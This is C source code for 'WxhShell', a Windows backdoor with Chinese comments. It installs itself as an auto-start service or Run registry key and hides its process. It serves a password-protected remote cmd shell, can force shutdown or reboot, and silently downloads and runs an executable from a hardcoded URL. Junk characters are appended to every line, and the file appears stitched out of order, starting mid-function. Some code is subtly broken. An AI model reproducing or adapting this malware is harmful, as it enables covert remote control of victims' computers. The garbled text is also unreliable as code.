    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *i#2>=)  
    if(Boot(SHUTDOWN)) z$^d_)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); So5/n7  
    else { 7o4E_ .*  
    closesocket(wsh); )! [B(  
    ExitThread(0); #83   
    } 8lQ/cGAc  
    break; 3j#VKj+Uc  
    } a%go[_w  
  // 获取shell B'/U#>/  
  case 's': { ]#~J[uk  
    CmdShell(wsh); 4+olyBht  
    closesocket(wsh); pEB3 qGA  
    ExitThread(0); 8X;?fjl`"  
    break; !~^2Mu(X  
  } g|)>65v  
  // 退出 gx\V)8Zr  
  case 'x': { MmJMx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +U fw  
    CloseIt(wsh); UMcM&yu-  
    break; 3s\UU2yr  
    } ] 0i[=  
  // 离开 L03I:IJ  
  case 'q': { K^{j$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b:1B >  
    closesocket(wsh); 5nPvEN/  
    WSACleanup(); kHg|!  
    exit(1); H4Bt.5O*  
    break; /%YW[oY{V  
        } ]36SF5<0r  
  } H UJqB0D ?  
  } "jZZ>\  
a-5UG#o  
  // 提示信息 at>_EiS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T*p7[}#  
} _ep&`K  
  } [[T7s(3  
ueg%yvO  
  return; \Y xG  
} l@Lk+-[D  
+m_ .?V6  
// shell模块句柄 V .Kjcy  
int CmdShell(SOCKET sock) a$W O} g?  
{ 'm0WPS/6E  
STARTUPINFO si; t/i*.>7  
ZeroMemory(&si,sizeof(si)); ?!ap @)9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ust +g4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :GvC#2 p  
PROCESS_INFORMATION ProcessInfo;  ;LS.  
char cmdline[]="cmd"; -6MPls+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -=-^rQx9  
  return 0; sBlq)h;G?6  
} lh-.I]>&`  
Vy& X1lG:  
// 自身启动模式 n'rq  
int StartFromService(void) ?M90K)&g{  
{ +kI}O*s  
typedef struct 6>?qBWW  
{ qMaO1cE\  
  DWORD ExitStatus; hC-uz _/3  
  DWORD PebBaseAddress; hu-]SGb6  
  DWORD AffinityMask; hl]d99Lc  
  DWORD BasePriority; Dw=L]i :0v  
  ULONG UniqueProcessId; N\|B06X  
  ULONG InheritedFromUniqueProcessId; 1D%P;eUDp  
}   PROCESS_BASIC_INFORMATION; ^|/<e?~I  
HOD?i_  
PROCNTQSIP NtQueryInformationProcess; pIIp61=$  
zDg*ds\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fwpp qIM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CW;zviH5  
CfOyHhhKX  
  HANDLE             hProcess; X8}r= K~  
  PROCESS_BASIC_INFORMATION pbi; l(Y32]Z   
\]Y<d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fD%/]`y  
  if(NULL == hInst ) return 0; J5b3r1~D"[  
pyf'_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mR.j8pi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UAjN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `&I6=,YLp  
~ESw* 6s9  
  if (!NtQueryInformationProcess) return 0; j1Ys8k%$l  
=Vh]{ y~$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7L+Wj }m  
  if(!hProcess) return 0; *wAX&+);  
E[hSL#0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /A5=L<T6F  
czw:xG!&  
  CloseHandle(hProcess); (,"%fc7<i  
oD%n}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QeY+imM  
if(hProcess==NULL) return 0; `LH9@Z{  
aT/2rMKPF  
HMODULE hMod; ,T;sWl  
char procName[255]; bLTX_ R  
unsigned long cbNeeded; W'Gh:73'}  
VK4UhN2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l=" (Hp%b  
qY&(O`?m&  
  CloseHandle(hProcess); Cpzdk~+H  
tzl,r"k3  
if(strstr(procName,"services")) return 1; // 以服务启动 [1~3\-Y  
%B&O+~  
  return 0; // 注册表启动 +%CXc%  
} *3^7'^j<  
H94_ae  
// 主模块 OL=X&Vaf<  
int StartWxhshell(LPSTR lpCmdLine) 4 JBfA,  
{ oe6Ex5h  
  SOCKET wsl; [/ CB1//Y  
BOOL val=TRUE; !d0$cF):  
  int port=0; ~#EXb?#uS  
  struct sockaddr_in door; gISA13  
SFzoRI=qG  
  if(wscfg.ws_autoins) Install(); x1 LI&  
AsS~TLG9p  
port=atoi(lpCmdLine); 'bv(T2d~~  
4o''C |ND  
if(port<=0) port=wscfg.ws_port; qZQm*q(jM  
B'Nvl#  
  WSADATA data; FpttH?^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6 y"r '  
h*4wi.-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "% i1zQo&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $sL+k 'dY  
  door.sin_family = AF_INET; 3b?-83a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >$<Q:o}^  
  door.sin_port = htons(port); zBrIhL]95  
tIA)LF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lYS4Q`z$  
closesocket(wsl); q q^[(n  
return 1; u 'ng'j'  
} YC{7;=P f  
Vg (p_k45`  
  if(listen(wsl,2) == INVALID_SOCKET) { | rpMwkR  
closesocket(wsl); _ru<1n[4~  
return 1; YU87l  
} M/[9ZgDc  
  Wxhshell(wsl); x ZAg  
  WSACleanup(); ^ ' )4RU  
HDo=WqG  
return 0; Nf~B 1vkp  
?#5)TAW  
} 2}{[ J  
}k1[Fc|  
// 以NT服务方式启动 B^1jd!m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _qit$#wK;  
{ { F0"U=  
DWORD   status = 0; <^Q` y  
  DWORD   specificError = 0xfffffff; EU5(s*A  
$YBH;^#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aBF<it>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X bV?=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -r_Pp}s  
  serviceStatus.dwWin32ExitCode     = 0; =c[mch%E  
  serviceStatus.dwServiceSpecificExitCode = 0; d[(%5pw~zL  
  serviceStatus.dwCheckPoint       = 0; I7ySm12}  
  serviceStatus.dwWaitHint       = 0; Erl@] P4  
or` "{wop  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @[(%b{TE;  
  if (hServiceStatusHandle==0) return; :Ea ]baM"  
{-IRX)m*  
status = GetLastError();  `Q^Vm3h  
  if (status!=NO_ERROR) k/xNqN(  
{ (w'k\y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [s!cc:JR  
    serviceStatus.dwCheckPoint       = 0; KrECAc  
    serviceStatus.dwWaitHint       = 0; @0:mP  
    serviceStatus.dwWin32ExitCode     = status; }>Lz\.Z/+[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z*5]qh2r8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z:$TW{%M  
    return; P[cGCmM  
  } YAF0I%PYU  
"jl`FAu)q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3TD!3p8  
  serviceStatus.dwCheckPoint       = 0; E<_+Tc  
  serviceStatus.dwWaitHint       = 0; !I8( Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r,Pu-bhF  
} !91<K{#A{  
)\0c2_w>  
// 处理NT服务事件,比如:启动、停止 wa9{Q}wSa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;/nR[sibN  
{ X?"Ro`S  
switch(fdwControl) Z$@XMq!  
{ Sytx9`G 5  
case SERVICE_CONTROL_STOP: I=`efc]T  
  serviceStatus.dwWin32ExitCode = 0; !FnH;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2TC7${^9}J  
  serviceStatus.dwCheckPoint   = 0; =HvLuVc  
  serviceStatus.dwWaitHint     = 0; F9SIC7}uH  
  { j#XU\G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (aH_K07  
  } 7<ES&ls_  
  return; q} R"  
case SERVICE_CONTROL_PAUSE: |7T!rnr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /9yA.W;  
  break; T1b9Zqc)f  
case SERVICE_CONTROL_CONTINUE: =mk7'A>l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3?(||h{  
  break; `S7${0e  
case SERVICE_CONTROL_INTERROGATE: ?+#E&F  
  break; ?3i-wpzMp  
}; QPa&kl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GH 0 J"  
} 1z(y>`ZBq  
Ec]cCLB  
// 标准应用程序主函数 <tTn$<b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `qsn;  
{ v4< x 4  
/SD2e@x{U  
// 获取操作系统版本 : XZ  
OsIsNt=GetOsVer(); .~ W^P>t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p>p=nLK  
iyhB;s5Rgw  
  // 从命令行安装 ffyKAZ{]po  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xl%&hM  
VuW&CnZ  
  // 下载执行文件 (5N&bh`E  
if(wscfg.ws_downexe) { %lPF q-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {Z|.-~W  
  WinExec(wscfg.ws_filenam,SW_HIDE); s.I=H^ T  
} f;%4O'  
m[u 6<C  
if(!OsIsNt) { S,v9\wN.  
// 如果时win9x,隐藏进程并且设置为注册表启动 NC2PW+(  
HideProc(); `ml;#n,*  
StartWxhshell(lpCmdLine); O@_)]z?jUc  
} sOW-GWSE<  
else #H1yjJQ /x  
  if(StartFromService()) cj<j *(ZZ  
  // 以服务方式启动 vexQP}N0  
  StartServiceCtrlDispatcher(DispatchTable); Hp":r%)  
else NLF{W|X  
  // 普通方式启动 |^@TA=_  
  StartWxhshell(lpCmdLine); o0Hh&:6!M  
L+QEFQ:r5  
return 0; $y >J=  
} r jL%M';  
M|`%4vk>  
*pv hkJ g(  
}qXi;u))  
=========================================== *-Y|qS%  
) f'cy@b   
i@_|18F]`  
M ~!*PCd5  
$0K9OF9$  
I\DT(9 'E  
" rYq8OZLi  
4Kt?; y ;  
#include <stdio.h> QkzPzbF"  
#include <string.h> `&>!a  
#include <windows.h> YrgwR  
#include <winsock2.h> O`mW,  
#include <winsvc.h> KFCzf_P!  
#include <urlmon.h> yZ+o7?(2p  
5NeEDY 2%#  
#pragma comment (lib, "Ws2_32.lib") 'F[QE9]*  
#pragma comment (lib, "urlmon.lib") `)H.TMI   
=J?<M?ugf  
#define MAX_USER   100 // 最大客户端连接数 ScfW;  
#define BUF_SOCK   200 // sock buffer 12E@9s$Z  
#define KEY_BUFF   255 // 输入 buffer +2W#= G  
8'#%7+ "=!  
#define REBOOT     0   // 重启 R{6.O+j`  
#define SHUTDOWN   1   // 关机 Tj*zlb4  
-D.6@@%Kc}  
#define DEF_PORT   5000 // 监听端口 dmrM %a}W-  
S3j/(BG  
#define REG_LEN     16   // 注册表键长度 "v~w#\pz7  
#define SVC_LEN     80   // NT服务名长度 E<&VK*{zcO  
ZT_EpT=1  
// 从dll定义API ?^IM2}(p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g[@]OsX   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mk[_yqoCO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #\4uu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  NP^kbF  
;][1_  
// wxhshell配置信息 [?Aq#av  
struct WSCFG { ~Cj+6CrT  
  int ws_port;         // 监听端口 _.FxqH>  
  char ws_passstr[REG_LEN]; // 口令 NRq jn; ,+  
  int ws_autoins;       // 安装标记, 1=yes 0=no >&U]j*'4  
  char ws_regname[REG_LEN]; // 注册表键名 kS?!"zk>  
  char ws_svcname[REG_LEN]; // 服务名 Pd^ilRB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -\>Bphu,y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ";",r^vr\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fz)z&WT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t_@%4Wn!1L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eVbHPu4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R^_/iy  
+69sG9BA  
}; 4"wuqr|o  
8<?60sj  
// default Wxhshell configuration {n%F^ky+7  
struct WSCFG wscfg={DEF_PORT, Ql\{^s+  
    "xuhuanlingzhe", K-_e' )22.  
    1, RpS'Tz}  
    "Wxhshell", pU`Q[HOs  
    "Wxhshell", vD}y%}  
            "WxhShell Service", }L@!TWR-Qu  
    "Wrsky Windows CmdShell Service", 0=(5C\w2  
    "Please Input Your Password: ", +l&ZN\@0X  
  1, WZ"x\K-;  
  "http://www.wrsky.com/wxhshell.exe", r#3_F=xL5  
  "Wxhshell.exe" m]Z& .,bA  
    }; ,n ~H]66 n  
A*~zdZ p  
// 消息定义模块 &gcKv1a\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x8gUP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zj`!ZY?fv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `N8A{8$qv  
char *msg_ws_ext="\n\rExit."; )>$xbo")k  
char *msg_ws_end="\n\rQuit."; C8@SuJ  
char *msg_ws_boot="\n\rReboot..."; L&'2  
char *msg_ws_poff="\n\rShutdown..."; CQzJ_aSJ (  
char *msg_ws_down="\n\rSave to "; sRb)*p'  
S1;#5 8  
char *msg_ws_err="\n\rErr!"; QSEf  
char *msg_ws_ok="\n\rOK!"; +lU:I  
:)?w 2'O  
char ExeFile[MAX_PATH]; ~N_\V  
int nUser = 0; D`r:`  
HANDLE handles[MAX_USER]; 3@s|tm1  
int OsIsNt; <q%buyQna  
d5+ (@HSR  
SERVICE_STATUS       serviceStatus; SS@# $t:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #ra:^9;Es:  
AXz'=T}{  
// 函数声明 )5)S8~Oc  
int Install(void); B]InOlc47  
int Uninstall(void); &FIPEe#n  
int DownloadFile(char *sURL, SOCKET wsh); ^0A'XCULG  
int Boot(int flag); mTYEK4}  
void HideProc(void); r/+ <_3  
int GetOsVer(void); (?I8/KYR  
int Wxhshell(SOCKET wsl); #U(dleT8  
void TalkWithClient(void *cs); TQ.d|{B[  
int CmdShell(SOCKET sock); ?fc({zb  
int StartFromService(void); a` 95eL}  
int StartWxhshell(LPSTR lpCmdLine); R.*KaCA  
W<u63P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $ ;~G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P0 DvZV8  
I%b, H`  
// 数据结构和表定义 *ukugg.  
SERVICE_TABLE_ENTRY DispatchTable[] = BRFA%FZ,  
{ %{5mkO&,2  
{wscfg.ws_svcname, NTServiceMain}, kiZA$:V8  
{NULL, NULL} AAxY{Z-4  
}; t!AHTtI  
P[?~KNS:/  
// 自我安装 W(1p0|WQ:  
int Install(void) Fla,#uB  
{ %#yCp2  
  char svExeFile[MAX_PATH]; O:q 0-  
  HKEY key; = %\;7  
  strcpy(svExeFile,ExeFile); 2r,K/'  
`\(Fax  
// 如果是win9x系统,修改注册表设为自启动 7?qRY9Qu  
if(!OsIsNt) { uf^"Y3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8BhLO.(<O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Q:^|Fw!F  
  RegCloseKey(key); h~urZXD<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aYkm]w;C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '|G_C%,B  
  RegCloseKey(key); a RC >pK.  
  return 0; Q: [d   
    } mH}/QfUlq  
  } mfIY7DP  
} Nf%jLK~  
else { $A9!} `V  
q!$?G]-%  
// 如果是NT以上系统,安装为系统服务 lnEc5J@c>i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c&e?_@} |  
if (schSCManager!=0) Ef;_im  
{ ~ 61O  
  SC_HANDLE schService = CreateService ,[D,G  
  ( 6K5KZZG  
  schSCManager, 8tK8|t5+  
  wscfg.ws_svcname, L/1?PM  
  wscfg.ws_svcdisp, s{2BG9s  
  SERVICE_ALL_ACCESS, k 9R_27F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'bN\bbR  
  SERVICE_AUTO_START, dMp7 ,{FhF  
  SERVICE_ERROR_NORMAL, g(7htWr4  
  svExeFile, XD<7d")I  
  NULL, cwlXb!S$  
  NULL, O{,Uge2n,  
  NULL, _~d C>`K  
  NULL, Y [0 S  
  NULL BBm.;=8@ ^  
  ); <fCgU&  
  if (schService!=0) t7H2z}06=h  
  { cmmH)6c>  
  CloseServiceHandle(schService); @f{yx\u/  
  CloseServiceHandle(schSCManager); R)?K+cJ%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ja$e)  
  strcat(svExeFile,wscfg.ws_svcname); [9u/x%f(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #?k$0|60  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cYF R.~p  
  RegCloseKey(key); HIcx "y  
  return 0; :=+s^K  
    } 6+_)(+ c  
  } U\&kT/6vh  
  CloseServiceHandle(schSCManager); ? }|;ai  
} :+|b7fF  
} :@I?JSi  
:W_S  
return 1; z1aApS  
} WIb\+!  
WLV'@$<|(  
// 自我卸载 9 %4Pt=v~d  
int Uninstall(void) YQG[8I  
{ X4>c(1e  
  HKEY key; h `d(?1  
rteViq+|.  
if(!OsIsNt) { N{IY \/;\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KFor~A# D  
  RegDeleteValue(key,wscfg.ws_regname); e!URj\*  
  RegCloseKey(key); X's-i!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VHsuC$3W  
  RegDeleteValue(key,wscfg.ws_regname); c2Ua!p(c  
  RegCloseKey(key); I1=YSi;A  
  return 0; >G92k76G  
  } m0t 5oO  
} WW2VW-Hk  
} 4f ~CG r  
else { 46o3F"  
[-f0s;F1%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MeW8aL r  
if (schSCManager!=0) DZ?>9W{  
{ N+rLbK*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^2[0cne  
  if (schService!=0) U5jY/e_  
  { 6*Qn9Q%p-  
  if(DeleteService(schService)!=0) { 1b+ B  
  CloseServiceHandle(schService); HNxJ`x~Z~  
  CloseServiceHandle(schSCManager); "ZE JL.Wy  
  return 0; 0I* ^VGZ  
  } Z`v6DfK}  
  CloseServiceHandle(schService); O66\s q  
  } &ME[H  
  CloseServiceHandle(schSCManager); %?J\P@  
} 2/RK pl &  
} e<dFvMO  
G'q7@d {'  
return 1; ]^Z7w`=%5  
} cpz}!D  
jb$sIZ%i  
// 从指定url下载文件 G1  %c<1Y  
int DownloadFile(char *sURL, SOCKET wsh) }UMg ph:2:  
{ 4NUCLr7Y  
  HRESULT hr; e2*0NT^R  
char seps[]= "/"; &_HSrU  
char *token; W}EI gVHs  
char *file; r.** z j  
char myURL[MAX_PATH]; UTc$zc7  
char myFILE[MAX_PATH]; ca*USM  
ndT:,"s  
strcpy(myURL,sURL); 6* cm  
  token=strtok(myURL,seps); /xJ,nwp7  
  while(token!=NULL) d*khda;Vj  
  { z[b,:G  
    file=token; %+|k>?&z7  
  token=strtok(NULL,seps); fu}NH \{  
  } @riCR<fF  
D Km`  
GetCurrentDirectory(MAX_PATH,myFILE); 9Gfm?.O5  
strcat(myFILE, "\\"); 1el?f>  
strcat(myFILE, file); Q4{%)}2$  
  send(wsh,myFILE,strlen(myFILE),0); daE/v.a4|  
send(wsh,"...",3,0); aDb@u3X@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -`n>q^A7e  
  if(hr==S_OK) quN7'5ZC[  
return 0; .21%~"dxJ  
else >Bq;Z}EV  
return 1; 90|p]I%  
YYr &Jc j  
} d*,% -Io  
n9]^v-]K  
// 系统电源模块 7)O?jc  
int Boot(int flag) vnMt>]w-}  
{ oD4NQR  
  HANDLE hToken; [@U8&W  
  TOKEN_PRIVILEGES tkp; F8Z<JcOI  
h#@l'Cye  
  if(OsIsNt) { B~^MhX +j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y GT"k,a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J0a]Wz%  
    tkp.PrivilegeCount = 1; Z2)f$ c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^_9 ^iL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %P0dY:L~  
if(flag==REBOOT) { v Q[{<|K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7Gnslp?[U  
  return 0; %eGxQDIXg  
} 0{F"b'h  
else { `I,A7b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O*d&H;;  
  return 0; ~QFD ^SoK  
} C$){H"#  
  } hhlQ!WV2  
  else { /|t vGC.#  
if(flag==REBOOT) { BF<7.<,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *yKsgH  
  return 0; R?qVFMQ  
} 0&=2+=[c  
else { 0*L|r Jf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `!S5FE"-  
  return 0; /D`M?nD7  
} sSd  
} )MZ]c)JD^  
NLyvi,svS  
return 1; M$ep.<Z1|  
} .{k(4_Q?I  
TP{lt6wws(  
// win9x进程隐藏模块 a3?Dtoy'  
void HideProc(void) -b~MQ/, 2  
{ ih.UzPg  
z{d],M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1 iS9f~  
  if ( hKernel != NULL ) `]\4yTd  
  { 'G>Ejh@t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x5v^@_: jr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *h1Zqb  
    FreeLibrary(hKernel); WGN[`D"  
  } pu=T pSZ  
%56pP"w  
return; Odxq]HlbO  
} %\_I% yF  
B, xrZs  
// 获取操作系统版本 L$zT`1Hy  
int GetOsVer(void) W=5+k0Q  
{ JmrQDO_(  
  OSVERSIONINFO winfo; &UP@Sr0D7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B7nMy oj  
  GetVersionEx(&winfo); %2^C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5IW^^<kiu  
  return 1; &~pj)\_  
  else #j d?ocoY  
  return 0; ,a?)#X  
} _Jk-nZgn  
SOb17:o3|  
// 客户端句柄模块 $JqdI/s  
int Wxhshell(SOCKET wsl) ~53E)ilB  
{ CEc& G  
  SOCKET wsh; V:6#IL  
  struct sockaddr_in client; -Hh$3U v  
  DWORD myID; UYW%% 5p?  
v!t*Ng  
  while(nUser<MAX_USER) |o~FKy1'z\  
{ Vyj>&"28  
  int nSize=sizeof(client); 1]A%lud4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $Bz|[=  
  if(wsh==INVALID_SOCKET) return 1; JnhHV(H  
o%h\55S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B5#a 4G.  
if(handles[nUser]==0) UL; d H  
  closesocket(wsh); @_Aqk{3  
else ^4Tr @g#]"  
  nUser++; }CsUZ&*&  
  } 5U|f"3&8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ijr*_=  
[4kx59J3b  
  return 0; :|<D(YA  
} lcJ`OLG  
ll1?I8}5|  
// 关闭 socket ?8-e@/E#x  
void CloseIt(SOCKET wsh) & ?/h5<  
{ 9Vzk:zOT  
closesocket(wsh); s.1(- "DU  
nUser--; ;s"m* 4N  
ExitThread(0); u):z1b3*?  
} #Vv*2Mc  
o1MbHBb  
// 客户端请求句柄 ?Y ) Qy,  
void TalkWithClient(void *cs) < t>N(e  
{ uWx/V+w  
PHfGl  
  SOCKET wsh=(SOCKET)cs; aC]~   
  char pwd[SVC_LEN]; ?P<&8eY  
  char cmd[KEY_BUFF]; )pr pG !  
char chr[1]; GK95=?f~8;  
int i,j; &BG^:4b  
}O2hhh_  
  while (nUser < MAX_USER) { O~{Zs\u9  
4 E 4o=Z|K  
if(wscfg.ws_passstr) { > m}.}g8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7*'_&0   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :b=`sUn<X+  
  //ZeroMemory(pwd,KEY_BUFF); /Ia=/Jj7N  
      i=0; n+zXt?{u  
  while(i<SVC_LEN) { TnM}|~V  
+/\.%S/  
  // 设置超时 =!U{vT  
  fd_set FdRead; VQPq+78  
  struct timeval TimeOut; w#Nn(!VR  
  FD_ZERO(&FdRead); ~Ufcy{x#  
  FD_SET(wsh,&FdRead); &_" 3~:N8k  
  TimeOut.tv_sec=8; \5s!lv*&  
  TimeOut.tv_usec=0; p]!,Bo ZL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lqX]'gu]\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rr%]/%  
:U ?P~HI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F`Q,pBl1p6  
  pwd=chr[0]; b ";#qVv C  
  if(chr[0]==0xd || chr[0]==0xa) { 8C,?Ai<ro  
  pwd=0; "kP.Kx!  
  break; L2{tof  
  } GgA =EdJn  
  i++; (4M#(I~cE  
    } JB+pd_>5  
bn<&Xe  
  // 如果是非法用户,关闭 socket T:; e73  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oVl:./(IB  
} z+wV(i97  
1)u= &t,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )/ s 9ty  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rxP^L(q0*  
(y~da~  
while(1) { *>_:E6)  
O(&EnNm[2  
  ZeroMemory(cmd,KEY_BUFF); EHzU`('?[  
zXcSE"   
      // 自动支持客户端 telnet标准   7:x.08  
  j=0; $23="Jcl  
  while(j<KEY_BUFF) { 2$\1v*:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v#-%_V>ph  
  cmd[j]=chr[0]; Ao{wd1  
  if(chr[0]==0xa || chr[0]==0xd) { 1O(fI|gcO  
  cmd[j]=0; {y<_S]0  
  break; ~e%*hZNo  
  } "ajZ&{Z  
  j++; 7t@jj%F  
    } mXhr: e  
E8%O+x}  
  // 下载文件 _$cQAH0 E  
  if(strstr(cmd,"http://")) { 1-w1k ^e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dm 'Q&  
  if(DownloadFile(cmd,wsh)) 50_%Tl[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O "{o (  
  else c%xxsq2n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9oc[}k-M  
  } i]Kq  
  else { [W^6=7EO  
-(:BkA  
    switch(cmd[0]) { K<s\:$VVh  
